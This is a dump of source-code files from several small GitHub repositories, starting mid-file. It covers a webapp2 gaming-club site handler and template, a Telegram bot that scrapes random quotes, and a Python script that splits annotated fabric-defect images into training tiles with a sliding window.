+ \" - \" + errorType\n logging.critical(logMSG)\n mail.send_mail(\"[email protected]\", \"[email protected]\", \"CRITICAL ERROR - \" + page.upper(), logMSG)\n self.redirect(\"/\" + page.lower() + \"/error\")\n\n def get(self, arg=None):\n self.render_page(arg=arg)\n\n def post(self, arg=None):\n messages = self.join(rawify(self.request.get('username')), self.request.remote_addr)\n self.render_page(arg=arg, **messages)\n\n\nclass Front(BaseHandler):\n def render_page(self, **messages):\n self.fetch_n_exec(key=\"Front\", template=\"front.html\", **messages)\n\n\nclass Status(BaseHandler):\n def render_page(self, **messages):\n self.fetch_n_exec(key=\"Status\", template=\"status.html\", **messages)\n\n\nclass Leagues(BaseHandler):\n def render_page(self, **messages):\n self.fetch_n_exec(key=\"Leagues\", template=\"leagues.html\", count=1, **messages)\n\n\nclass IP(BaseHandler):\n def render_page(self, **messages):\n self.fetch_n_exec(key=\"IP\", template=\"ip.html\", count=1, **messages)\n\n\nclass Honor(BaseHandler):\n def render_page(self, arg, **messages):\n honor_key_dict = {'/friendly': 'Honor_Friendly', '/helpful': 'Honor_Helpful', '/teamwork': 'Honor_Teamwork', '/honorable': 'Honor_Honorable', None: 'Honor'}\n self.fetch_n_exec(key=honor_key_dict[arg], template=\"honor.html\", count=1, **messages)\n\n\nclass Streams(BaseHandler):\n def render_page(self, **messages):\n results = dbcls.Stream.all().order('created')\n if results is None:\n messages['error'] = \"Failed to load streams\"\n self.render('streams.html', results=[], **messages)\n else:\n self.render('streams.html', results=results, **messages)\n\n\nclass StreamPage(BaseHandler):\n def render_page(self, arg, **messages):\n channels = {'/jevette': 'jevettelol', '/asemco': 'asemco', '/isuress': 'isuress', '/senpai': 'wtfbacon', '/wtfbacon': 'wtfbacon', '/babagurgur': 'babagurgur', '/mr_mortified': 'mr_mortified', '/mrmortified': 'mr_mortified', '/iifoxy': 'arcticfoxy', '/kryptonite': 'asiavision'}\n try:\n result = self.get_stream(channelName=channels[arg])\n self.render('stream_page.html', result=result, **messages)\n except:\n self.redirect('/streams')\n\n def get_stream(self, channelName):\n d = call_api(id=channelName, api=\"TWITCH\", ext=\"CHANNEL\")\n return ntcls.Stream_Info(channelName, d['display_name'], d['status'], d['game'], d['url'])\n\n\nclass Faqs(BaseHandler):\n def render_page(self, **messages):\n try:\n self.render('faqs.html', results=dbcls.FAQ.all(), **messages)\n except:\n messages['error'] = 'No FAQs Found!'\n self.render('faqs.html', **messages)\n\n\nclass Error(BaseHandler):\n def render_page(self, **messages):\n pass\n\nPAGE_RE = r'(/(?:[a-zA-Z0-9_-]+/?)*)'\napp = webapp2.WSGIApplication([\n ('/', Front),\n ('/front', Front),\n ('/status', Status),\n ('/leagues', Leagues),\n ('/ip', IP),\n ('/honor', Honor),\n ('/honor' + PAGE_RE, Honor),\n ('/streams', Streams),\n ('/streams' + PAGE_RE, StreamPage),\n ('/faqs', Faqs),\n ('/error', Error)\n], debug=True)\n" }, { "alpha_fraction": 0.550061047077179, "alphanum_fraction": 0.5720390677452087, "avg_line_length": 36.227272033691406, "blob_id": "99304883e2b80d494dda3eb038be8b95eac87a69", "content_id": "af4823d6555c046e61dc44dc597bc9f8c979b089", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1638, "license_type": "no_license", "max_line_length": 209, "num_lines": 44, "path": "/templates/ip.html", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{% block content %}\n<div class=\"row\">\n\t<div class=\"span3\"><h4><br>Navigation</h4></div>\n\t<div class=\"span9\"><h3>Lifetime IP</h3></div>\n</div>\n\n<div class=\"row\">\n\t<div class=\"span3\">\n\t\t<ul class=\"nav nav-pills nav-stacked\">\n\t\t\t<li><a href=\"/\"><i class=\"icon-home\"></i> Home</a> </li>\n\t\t\t<li><a href=\"/status\"><i class=\"icon-user\"></i> What's Happening</a> </li>\n\t\t\t<li><a href=\"/streams\"><i class=\"icon-facetime-video\"></i> Streams</a> </li>\n\t\t\t<li><a href=\"/leagues\"><i class=\"icon-flag\"></i> Leagues</a> </li>\n\t\t\t<li><a href=\"/honor\"><i class=\"icon-bookmark\"></i> Honor</a> </li>\n\t\t\t<li class=\"active\"><a><i class=\"icon-shopping-cart\"></i> Lifetime IP</a></li>\n\t\t\t<li><a href=\"/faqs\"><i class=\"icon-question-sign\"></i> FAQS</a> </li>\n\t\t\t<li><a href=\"#join\" data-toggle=\"modal\"><i class=\"icon-plus-sign\"></i> Join</a></li>\n\t\t</ul>\n\t</div>\n\t<div class=\"span9\">\n\t\t<table class=\"table table-hover\">\n\t\t<tr width=\"100%\">\n\t\t\t<td width=\"50px\"><b></b></td>\n\t\t\t<td width=\"20px\"><b></b></td>\n\t\t\t<td><b>USERNAME</b></td>\n\t\t\t<td><b>INFLUENCE POINTS</b></td>\n\t\t</tr>\n\t\t\t\t{% for result in results %}\n\t\t\t\t\t<tr>\n\t\t\t\t\t<td width=\"50px\" height=\"50px\"><img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.303.4/img/profileicon/{{result.iconID | safe}}.png\" width=\"50px\" height =\"50px\" class=\"userIcon img-polaroid\"><br></td>\n\t\t\t\t\t<td width=\"20px\"><span class=\"badge badge-default pull-right\">{{count | safe}}</span><br><br></td>\n\t\t\t\t\n\t\t\t\t\t\t<td>{{result.userName | safe}}<br><br></td>\n\t\t\t\t\t\t<td>{{result.ip | safe}}<br><br></td>\n\t\t\t\t\t<tr>\n\t\t\t\t\t{% set count = count + 1 %}\n\t\t\t\t{% endfor %}\n\t\t</table>\n\t</div>\n</div>\n\n{% endblock %}\n" } ]
6
leonhff/quotes_bot
https://github.com/leonhff/quotes_bot
7acb0be4b4e509072a0621842626c269d582640a
d7842a5c3ca1950167c4abd1191ccaee9f424b6f
8904d2d03ba3ffd33dc76827713b0681ab847a4b
refs/heads/main
2023-08-06T17:07:50.926150
2021-10-03T11:13:01
2021-10-03T11:13:01
413,050,888
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.534246563911438, "alphanum_fraction": 0.7260273694992065, "avg_line_length": 17.25, "blob_id": "b25449181f13d71fbc30458e84ad6366cbfecf73", "content_id": "e02bd800c2cc7df15b31593bc564ca378a270e74", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 73, "license_type": "permissive", "max_line_length": 23, "num_lines": 4, "path": "/requirements.txt", "repo_name": "leonhff/quotes_bot", "src_encoding": "UTF-8", "text": "beautifulsoup4==4.9.3\nbs4==0.0.1\nrequests==2.7.0\npyTelegramBotAPI==3.7.7\n" }, { "alpha_fraction": 0.7021695971488953, "alphanum_fraction": 0.7179487347602844, "avg_line_length": 24.350000381469727, "blob_id": "1c2a7ac3bdf6b0c98452080793322591623fd540", "content_id": "5db505885c20e543e4d84203a6f9ebb0e109f81c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 739, "license_type": "permissive", "max_line_length": 88, "num_lines": 20, "path": "/README.md", "repo_name": "leonhff/quotes_bot", "src_encoding": "UTF-8", "text": "# Quotes bot for telegram\n\n## Как использовать?\n### 1. Клонируем репозиторий:\n git clone https://github.com/leonhff/quotes_bot\n\n### 2. Переходим в директорию:\n cd quotes_bot\n \n### 3. Идём в телеграм, переходи в бота @BotFather, создаем нового бота и копируем токен\n\n### 4. Открываем файл quotes.py любым текстовым редактором:\n nano quotes.py\n\n### 5. Вставляем в 7 строчку между \"\" свой скопированый токен. \n\n### 6. Устанавливаем все зависимости:\n pip install -r requirements.txt\n\n### 7. Запускаем бота\n" }, { "alpha_fraction": 0.6564885377883911, "alphanum_fraction": 0.6583969593048096, "avg_line_length": 26.578947067260742, "blob_id": "60f88563ccb0acc7f3f1437ae5844311d08c9de2", "content_id": "ea402e81c5052796461b5e9ed406229136f0a627", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 524, "license_type": "permissive", "max_line_length": 63, "num_lines": 19, "path": "/quotes.py", "repo_name": "leonhff/quotes_bot", "src_encoding": "UTF-8", "text": "import telebot\nfrom bs4 import BeautifulSoup\nimport requests\nfrom telebot import types\n\ntoken = \"\" #token @BotFather\n\n########################### Bot #########################\nbot = telebot.TeleBot(token)\n\[email protected]_handler(commands=['start'])\ndef welcome(message):\n site = \"https://citaty.info/random\"\n html_text = requests.get(site).text\n soup = BeautifulSoup(html_text, 'lxml')\n citata = soup.find('div', class_='field-item even last').text\n bot.send_message(message.chat.id, citata)\n\nbot.polling(none_stop=True)\n" } ]
3
greentfrapp/adversarial-latents
https://github.com/greentfrapp/adversarial-latents
73df47b08041282150a1bfda2e8b5e03d8bde92d
7ccda249cc613c6a84d36a6b3b5e0f6a92631719
96a4d0279437b6b73a2eaf4de73ed435d8cbb4b2
refs/heads/master
2020-03-24T16:22:07.636216
2018-07-30T07:26:03
2018-07-30T07:26:03
142,822,092
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6528471112251282, "alphanum_fraction": 0.6830527186393738, "avg_line_length": 26.679157257080078, "blob_id": "cae03f9b9637c7f941ba89244c66871b1bf18dbd", "content_id": "41dfb4ce33668e2fa95d544ce32c05dcdc578e7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11819, "license_type": "no_license", "max_line_length": 136, "num_lines": 427, "path": "/main.py", "repo_name": "greentfrapp/adversarial-latents", "src_encoding": "UTF-8", "text": "\"\"\"\n- Build autoencoder\n- Train autoencoder and visualize reconstruction\n- Build classifier\n- Train classifier\n- Backprop adversarial gradient to latent space and generate reconstruction\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nfrom absl import app\nfrom absl import flags\nfrom keras.datasets import mnist\nimport PIL\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_bool('train_ae', False, 'Train autoencoder')\nflags.DEFINE_bool('train_class', False, 'Train classifier')\nflags.DEFINE_bool('reconstruct', False, 'Reconstruct with autoencoder')\nflags.DEFINE_bool('test_class', False, 'Test classifier')\nflags.DEFINE_bool('fgsm', False, 'Create adversarial sample')\n\nclass BaseModel():\n\n\tdef save(self, sess, savepath, global_step=None, prefix='ckpt', verbose=False):\n\t\tif savepath[-1] != '/':\n\t\t\tsavepath += '/'\n\t\tself.saver.save(sess, savepath + prefix, global_step=global_step)\n\t\tif verbose:\n\t\t\tprint('Model saved to {}.'.format(savepath + prefix + '-' + str(global_step)))\n\n\tdef load(self, sess, savepath, verbose=False):\n\t\tif savepath[-1] != '/':\n\t\t\tsavepath += '/'\n\t\tckpt = tf.train.latest_checkpoint(savepath)\n\t\tself.saver.restore(sess, ckpt)\n\t\tif verbose:\n\t\t\tprint('Model loaded from {}.'.format(ckpt))\n\nclass Encoder(BaseModel):\n\n\tdef __init__(self, inputs):\n\t\tself.name = 'encoder'\n\t\tself.inputs = inputs\n\t\twith tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):\n\t\t\tself.build_model()\n\t\t\tvariables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.name)\n\t\t\tself.saver = tf.train.Saver(var_list=variables, max_to_keep=1)\n\n\tdef build_model(self):\n\t\t\n\t\tencoder_dense_1 = tf.layers.dense(\n\t\t\tinputs=self.inputs,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='encoder_dense_1',\n\t\t)\n\t\tencoder_dense_2 = tf.layers.dense(\n\t\t\tinputs=encoder_dense_1,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='encoder_dense_2',\n\t\t)\n\n\t\tself.outputs = tf.layers.dense(\n\t\t\tinputs=encoder_dense_2,\n\t\t\tunits=64,\n\t\t\tactivation=None,\n\t\t\tname='encoder_output',\n\t\t)\n\nclass Decoder(BaseModel):\n\n\tdef __init__(self, inputs):\n\t\tself.name = 'decoder'\n\t\tself.inputs = inputs\n\t\twith tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):\n\t\t\tself.build_model()\n\t\t\tvariables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.name)\n\t\t\tself.saver = tf.train.Saver(var_list=variables, max_to_keep=1)\n\n\tdef build_model(self):\n\t\t\n\t\tdecoder_dense_1 = tf.layers.dense(\n\t\t\tinputs=self.inputs,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='decoder_dense_1',\n\t\t)\n\t\tdecoder_dense_2 = tf.layers.dense(\n\t\t\tinputs=decoder_dense_1,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='decoder_dense_2',\n\t\t)\n\n\t\tself.outputs = tf.layers.dense(\n\t\t\tinputs=decoder_dense_2,\n\t\t\tunits=784,\n\t\t\tactivation=tf.sigmoid,\n\t\t\tname='decoder_output',\n\t\t)\n\nclass Classifier(BaseModel):\n\n\tdef __init__(self, inputs):\n\t\tself.name = 'classifier'\n\t\tself.inputs = inputs\n\t\twith tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):\n\t\t\tself.build_model()\n\t\t\tvariables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.name)\n\t\t\tself.saver = tf.train.Saver(var_list=variables, max_to_keep=1)\n\t\n\tdef build_model(self):\n\n\t\tclassifier_dense_1 = tf.layers.dense(\n\t\t\tinputs=self.inputs,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='classifier_dense_1',\n\t\t)\n\t\tclassifier_dense_2 = tf.layers.dense(\n\t\t\tinputs=classifier_dense_1,\n\t\t\tunits=1000,\n\t\t\tactivation=tf.nn.relu,\n\t\t\tname='classifier_dense_2',\n\t\t)\n\t\tself.outputs = tf.layers.dense(\n\t\t\tinputs=classifier_dense_2,\n\t\t\tunits=10,\n\t\t\tactivation=None,\n\t\t\tname='classifier_output',\n\t\t)\n\ndef train_autoencoder():\n\n\tinputs = tf.placeholder(\n\t\tshape=(None, 28, 28),\n\t\tdtype=tf.float32,\n\t\tname='inputs',\n\t)\n\n\tencoder = Encoder(tf.reshape(inputs, [-1, 784]))\n\tlatent = encoder.outputs\n\tdecoder = Decoder(latent)\n\treconstruction = tf.reshape(decoder.outputs, [-1, 28, 28])\n\n\tloss = tf.losses.mean_squared_error(labels=inputs, predictions=reconstruction)\n\toptimizer = tf.train.AdamOptimizer().minimize(loss)\n\n\t(x_train, _), (x_test, _) = mnist.load_data()\n\n\tn_steps = 10000\n\tbatchsize = 128\n\tend = 0\n\tshuffle_x = np.random.RandomState(1)\n\tmin_val_loss = np.inf\n\n\tsess = tf.Session()\n\tsess.run(tf.global_variables_initializer())\n\n\tfor step in np.arange(n_steps):\n\t\tstart = end\n\t\tend = start + 128\n\t\tif end > len(x_train):\n\t\t\tstart = 0\n\t\t\tend = 128\n\t\t\tshuffle_x.shuffle(x_train)\n\t\tminibatch_x = x_train[start:end]\n\n\t\ttraining_loss, _ = sess.run([loss, optimizer], {inputs: minibatch_x / 256.})\n\n\t\tif step > 0 and step % 100 == 0:\n\t\t\tprint('Step #{} - Loss {:.3f}'.format(step, training_loss))\n\n\t\tif step > 0 and step % 500 == 0:\n\t\t\tminibatch_val_x = x_test[:128]\n\t\t\tshuffle_x.shuffle(x_test)\n\t\t\tval_loss = sess.run(loss, {inputs: minibatch_val_x / 256.})\n\t\t\tprint('Step #{} - Validation Loss {:.3f}'.format(step, val_loss))\n\t\t\tif val_loss < min_val_loss:\n\t\t\t\tencoder.save(sess, 'saved_models/encoder/', global_step=step, verbose=True)\n\t\t\t\tdecoder.save(sess, 'saved_models/decoder/', global_step=step, verbose=True)\n\t\t\t\tmin_val_loss = val_loss\n\ndef reconstruct():\n\n\tinputs = tf.placeholder(\n\t\tshape=(None, 28, 28),\n\t\tdtype=tf.float32,\n\t\tname='inputs',\n\t)\n\n\tencoder = Encoder(tf.reshape(inputs, [-1, 784]))\n\tlatent = encoder.outputs\n\tdecoder = Decoder(latent)\n\treconstruction = tf.reshape(decoder.outputs, [-1, 28, 28])\n\n\tsess = tf.Session()\n\tencoder.load(sess, 'saved_models/encoder/', verbose=True)\n\tdecoder.load(sess, 'saved_models/decoder/', verbose=True)\n\n\t(x_train, _), (x_test, _) = mnist.load_data()\n\n\tsample = np.expand_dims(x_test[np.random.choice(len(x_test))], axis=0)\n\n\tgenerated_sample = sess.run(reconstruction, {inputs: sample / 256.}) * 256.\n\n\timage = np.concatenate([sample[0], generated_sample[0]], axis=1)\n\n\tPIL.Image.fromarray(image).resize((200, 100)).show()\n\ndef train_classifier():\n\n\tinputs = tf.placeholder(\n\t\tshape=(None, 28, 28),\n\t\tdtype=tf.float32,\n\t\tname='inputs',\n\t)\n\tlabels = tf.placeholder(\n\t\tshape=(None),\n\t\tdtype=tf.int64,\n\t\tname='labels',\n\t)\n\n\tclassifier = Classifier(tf.reshape(inputs, [-1, 784]))\n\tlogits = classifier.outputs\n\n\tloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=tf.one_hot(labels, depth=10), logits=logits))\n\toptimizer = tf.train.AdamOptimizer().minimize(loss)\n\n\t(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n\tn_steps = 10000\n\tbatchsize = 128\n\tend = 0\n\tshuffle_x = np.random.RandomState(1)\n\tshuffle_y = np.random.RandomState(1)\n\tmin_val_loss = np.inf\n\n\tsess = tf.Session()\n\tsess.run(tf.global_variables_initializer())\n\n\tfor step in np.arange(n_steps):\n\t\tstart = end\n\t\tend = start + 128\n\t\tif end > len(x_train):\n\t\t\tstart = 0\n\t\t\tend = 128\n\t\t\tshuffle_x.shuffle(x_train)\n\t\t\tshuffle_y.shuffle(y_train)\n\t\tminibatch_x = x_train[start:end]\n\t\tminibatch_y = y_train[start:end]\n\n\t\ttraining_loss, _ = sess.run([loss, optimizer], {inputs: minibatch_x / 256., labels: minibatch_y})\n\n\t\tif step > 0 and step % 100 == 0:\n\t\t\tprint('Step #{} - Loss {:.3f}'.format(step, training_loss))\n\n\t\tif step > 0 and step % 500 == 0:\n\t\t\tminibatch_val_x = x_test[:128]\n\t\t\tminibatch_val_y = y_test[:128]\n\t\t\tshuffle_x.shuffle(x_test)\n\t\t\tshuffle_y.shuffle(y_test)\n\t\t\tval_loss = sess.run(loss, {inputs: minibatch_val_x / 256., labels: minibatch_val_y})\n\t\t\tprint('Step #{} - Validation Loss {:.3f}'.format(step, val_loss))\n\t\t\tif val_loss < min_val_loss:\n\t\t\t\tclassifier.save(sess, 'saved_models/classifier/', global_step=step, verbose=True)\n\t\t\t\tmin_val_loss = val_loss\n\ndef test_classifier():\n\n\tinputs = tf.placeholder(\n\t\tshape=(None, 28, 28),\n\t\tdtype=tf.float32,\n\t\tname='inputs',\n\t)\n\tlabels = tf.placeholder(\n\t\tshape=(None),\n\t\tdtype=tf.int64,\n\t\tname='labels',\n\t)\n\n\tclassifier = Classifier(tf.reshape(inputs, [-1, 784]))\n\tlogits = classifier.outputs\n\n\taccuracy = tf.contrib.metrics.accuracy(labels=labels, predictions=tf.argmax(logits, axis=1))\n\n\t(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n\tn_steps = 10000\n\tbatchsize = 128\n\tend = 0\n\n\tsess = tf.Session()\n\tclassifier.load(sess, 'saved_models/classifier/', verbose=True)\n\n\toverall_acc = []\n\tfor step in np.arange(n_steps):\n\t\tstart = end\n\t\tend = start + 128\n\t\tif end > len(x_train):\n\t\t\tbreak\n\t\tminibatch_x = x_train[start:end]\n\t\tminibatch_y = y_train[start:end]\n\n\t\ttest_acc = sess.run(accuracy, {inputs: minibatch_x / 256., labels: minibatch_y})\n\t\toverall_acc.append(test_acc)\n\n\t\tif step > 0 and step % 100 == 0:\n\t\t\tprint('Step #{} - Acc {:.3f}'.format(step, test_acc))\n\n\tprint('Overall Accuracy: {:.3f}'.format(np.mean(overall_acc)))\n\ndef latent_fgsm():\n\tinputs = tf.placeholder(\n\t\tshape=(None, 28, 28),\n\t\tdtype=tf.float32,\n\t\tname='inputs',\n\t)\n\tlabels = tf.placeholder(\n\t\tshape=(None),\n\t\tdtype=tf.int64,\n\t\tname='labels',\n\t)\n\tlatent = tf.placeholder(\n\t\tshape=(None, 64),\n\t\tdtype=tf.float32,\n\t\tname='latent',\n\t)\n\tadv_latent = tf.placeholder(\n\t\tshape=(None, 64),\n\t\tdtype=tf.float32,\n\t\tname='adv_latent',\n\t)\n\n\tencoder = Encoder(tf.reshape(inputs, [-1, 784]))\n\tencoding = encoder.outputs\n\n\tdecoder = Decoder(latent)\n\treconstruction = tf.reshape(decoder.outputs, [-1, 28, 28])\n\tclassifier = Classifier(tf.reshape(reconstruction, [-1, 784]))\n\tlogits = classifier.outputs\n\tsoftmax = tf.nn.softmax(logits, axis=1)\n\tprediction = tf.argmax(logits, axis=1)\n\n\tfgsm_classifier = Classifier(tf.reshape(inputs, [-1, 784]))\n\tfgsm_logits = fgsm_classifier.outputs\n\tfgsm_softmax = tf.nn.softmax(fgsm_logits, axis=1)\n\tfgsm_prediction = tf.argmax(fgsm_logits, axis=1)\n\n\tclassifier_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=tf.one_hot(labels, depth=10), logits=logits))\n\tlatent_gradient = tf.gradients(classifier_loss, latent)\n\n\tfgsm_classifier_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=tf.one_hot(labels, depth=10), logits=fgsm_logits))\n\tfgsm_gradient = tf.gradients(fgsm_classifier_loss, inputs)\n\n\tsess = tf.Session()\n\tencoder.load(sess, 'saved_models/encoder/', verbose=True)\n\tdecoder.load(sess, 'saved_models/decoder/', verbose=True)\n\tclassifier.load(sess, 'saved_models/classifier/', verbose=True)\n\tfgsm_classifier.load(sess, 'saved_models/classifier/', verbose=True)\n\n\t_, (x_test, y_test) = mnist.load_data()\n\n\tsample = np.expand_dims(x_test[0], axis=0)\n\tlabel = np.expand_dims(y_test[0], axis=0)\n\tfake_label = np.array([3])\n\n\toriginal_encoding = sess.run(encoding, {inputs: sample / 256.})\n\tnew_encoding = original_encoding\n\n\tfor i in np.arange(500):\n\t\tdLdz = sess.run(latent_gradient, {latent: new_encoding, labels: fake_label})\n\t\tnew_encoding = new_encoding - 1e-2 * dLdz[0]\n\n\told_prediction = sess.run(prediction, {latent: original_encoding})\n\n\tnew_prediction, new_softmax, new_image = sess.run([prediction, softmax, reconstruction], {latent: new_encoding})\n\n\tprint(old_prediction)\n\tprint(new_prediction)\n\tprint(new_softmax)\n\n\tdelta = new_image.reshape(28, 28) * 256. - sample.reshape(28, 28) + 128.\n\tnew_image = new_image.reshape(28, 28) * 256.\n\told_image = sample.reshape(28, 28)\n\n\timages = np.concatenate([old_image, delta, new_image], axis=1)\n\n\tPIL.Image.fromarray(images).resize((300, 100)).convert('RGBA').save('latent_adversarial.png')\n\n\t# FGSM\n\n\tnew_sample = sample / 256.\n\tfor i in np.arange(100):\n\t\tdIdz = sess.run(fgsm_gradient, {inputs: new_sample, labels: fake_label})\n\t\tnew_sample = new_sample - 1e-3 * np.sign(dIdz[0])\n\n\tnew_fgsm_prediction, new_fgsm_softmax = sess.run([fgsm_prediction, fgsm_softmax], {inputs: new_sample})\n\tprint(new_fgsm_prediction)\n\tprint(new_fgsm_softmax)\n\n\tdelta = new_sample.reshape(28, 28) * 256. - sample.reshape(28, 28) + 128.\n\tnew_image = new_sample.reshape(28, 28) * 256.\n\told_image = sample.reshape(28, 28)\n\n\timages = np.concatenate([old_image, delta, new_image], axis=1)\n\n\tPIL.Image.fromarray(images).resize((300, 100)).convert('RGBA').save('reg_adversarial.png')\n\ndef main(unused_args):\n\n\tif FLAGS.train_ae:\n\t\ttrain_autoencoder()\n\telif FLAGS.reconstruct:\n\t\treconstruct()\n\telif FLAGS.train_class:\n\t\ttrain_classifier()\n\telif FLAGS.test_class:\n\t\ttest_classifier()\n\telif FLAGS.fgsm:\n\t\tlatent_fgsm()\n\nif __name__ == '__main__':\n\tapp.run(main)\n" } ]
1
JunmaoLv/images_amplification
https://github.com/JunmaoLv/images_amplification
486285a24c5c762337c5d580d3a63c6a2adbd2a8
290fa99f2ad16003cd5b652addad877884ff7797
49f020875fbe5f7948c96818306ae262f3065efb
refs/heads/master
2022-04-19T02:50:27.804661
2020-04-23T06:07:23
2020-04-23T06:07:23
258,109,649
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5591078996658325, "alphanum_fraction": 0.5734560489654541, "avg_line_length": 36.27906799316406, "blob_id": "6be6178938bdf3fb9035c198f5f516a6651d17ae", "content_id": "6de986b1f25c59282569d97562150a31e64e6e95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6934, "license_type": "no_license", "max_line_length": 117, "num_lines": 172, "path": "/images_amplification.py", "repo_name": "JunmaoLv/images_amplification", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport json\nimport cv2\nimport shutil\n\n\nSLIGHT_DEFECT = ['hengdaomao2', 'lamao2']\nDEFECT = ['hengdaomao1', 'hengdaomao2', 'hengdaomao3', 'lamao1', 'lamao2', 'yamao', 'zangwu', 'yousha', 'kongxinmao',\n 'gerong', 'chaoduan']\n\nimage_width = 300\nimage_height = 400\nx_stride = 100\ny_stride = 100\n\n\ndef slide_window_split(input_path, output_path):\n \"\"\"从json标注文件中读取图片的标注信息,并利用相应的判别矩阵分类\"\"\"\n input_path_list = os.listdir(input_path)\n json_list = [item for item in input_path_list if 'json' in item]\n for json_item in json_list:\n # 读取每个json文件的数据\n # if json_item != '-1260943830673120540.json': # 测试no_defect的图片分割是否正确\n # continue\n print('splitting {}'.format(json_item))\n image_name = json_item.split('.')[0] + '.BMP'\n with open(input_path + json_item, 'r') as f:\n json_data = json.load(f)\n image_data = cv2.imread(input_path + image_name)\n # 调试输出图片的维度信息\n # print(image_data.shape)\n # 对每张图片生成对应的瑕疵判别矩阵\n defect_mask_list = [np.zeros_like(image_data) for _ in range(len(DEFECT))]\n # 调试输出判断矩阵的维度信息\n # print(defect_mask_list[0].shape)\n # 对每张图片的瑕疵区域用灰度图填充,生成判别矩阵,对轻微的瑕疵填充1,其他瑕疵填充2,因为每一张图片可能有多种瑕疵,所以用for\n for shape in json_data['shapes']:\n defect_name = shape['label']\n if defect_name == 'no':\n print('no defect in {}'.format(json_data['imagePath']))\n continue\n point_list = shape['points']\n point_array = np.array([point_list], np.int32)\n if defect_name in SLIGHT_DEFECT:\n index = DEFECT.index(defect_name)\n cv2.fillPoly(defect_mask_list[index], point_array, (1, 1, 1))\n else:\n index = DEFECT.index(defect_name)\n cv2.fillPoly(defect_mask_list[index], point_array, (2, 2, 2))\n # 调试显示灰度矩阵\n # cv2.imshow(defect_name, defect_mask_list[index])\n # cv2.waitKey(0)\n # 寻找defect_mask_list中瑕疵最严重的那种瑕疵作为该图像的瑕疵种类,为defect_name_max\n if defect_name != 'no':\n defect_name_max = defect_name\n defect_mask_max = defect_mask_list[index].sum()\n for i, defect_mask in enumerate(defect_mask_list):\n defect_mask_sum = defect_mask.sum()\n if defect_mask_sum > defect_mask_max:\n defect_name_max = DEFECT[i]\n # 滑动窗口分割图片\n for x in range(10):\n # for x in range(1):\n for y in range(13):\n # for y in range(1):\n x_min = x * x_stride\n x_max = image_width + x * x_stride\n y_min = y * y_stride\n y_max = image_height + y * y_stride\n image_item = image_data[x_min:x_max, y_min:y_max, :]\n if defect_name != 'no':\n defect_mask_item = defect_mask_list[DEFECT.index(defect_name_max)][x_min:x_max, y_min:y_max, :]\n is_defect = defect_mask_item.sum()\n if is_defect > 0:\n image_item_label = defect_name_max\n else:\n image_item_label = 'no_defect'\n else:\n image_item_label = 'no_defect'\n file_base_name = json_item.split('.')[0]\n file_name = '{}_{}_{}'.format(file_base_name, x, y)\n defect_name_max_path = image_item_label + '/'\n path_name = output_path + defect_name_max_path\n if not os.path.exists(path_name):\n os.makedirs(path_name)\n path_file_name = path_name + file_name + '.jpg'\n cv2.imwrite(path_file_name, image_item)\n\n\ndef test():\n my_list = [1, 2, 3]\n for item in my_list:\n index = my_list.index(item)\n print('{}'.format(index))\n\n\ndef list_split_number(images_path):\n path_name_list = os.listdir(images_path)\n length_list = {}\n for path_name_item in path_name_list:\n path_file_name = os.path.join(images_path, path_name_item)\n path_file_name_list = os.listdir(path_file_name)\n length_item = len(path_file_name_list)\n length_list.append(length_item)\n print('{} : {} 张'.format(path_name_item, length_item))\n print('共有:{} 张'.format(sum(length_list)))\n\n\ndef list_origin_number(input_path):\n input_path_list = os.listdir(input_path)\n origin_number = len(input_path_list) / 2\n return origin_number\n\n\ndef move_origin_images(input_path, output_path1, output_path2):\n origin_images_list = os.listdir(input_path)\n if not os.path.exists(output_path1):\n os.makedirs(output_path1)\n if not os.path.exists(output_path2):\n os.makedirs(output_path2)\n for i, item in enumerate(origin_images_list):\n origin_file_path = input_path + item\n if i <= 1223:\n destination_file_path1 = output_path1 + item\n shutil.move(origin_file_path, destination_file_path1)\n else:\n destination_file_path2 = output_path2 + item\n shutil.move(origin_file_path, destination_file_path2)\n\n\ndef list_origin_images(input_path):\n input_path_list = os.listdir(input_path)\n length = len(input_path_list)\n print('origin images : {}'.format(length))\n\n\ndef move_to_disk(input_path, output_path):\n origin_path_list = {}\n input_path_list = os.listdir(input_path)\n for input_path_item in input_path_list:\n defect_path_item = input_path + input_path_item + '/'\n origin_path_list.append(defect_path_item)\n for origin_path_item in origin_path_list:\n origin_file_path_item = os.listdir(origin_path_item)\n for file_item in origin_file_path_item:\n shutil.move()\n\n\nif __name__ == '__main__':\n # 分割图片\n inputs_path = './images1/'\n outputs_path = './split_images/'\n slide_window_split(inputs_path, outputs_path)\n\n 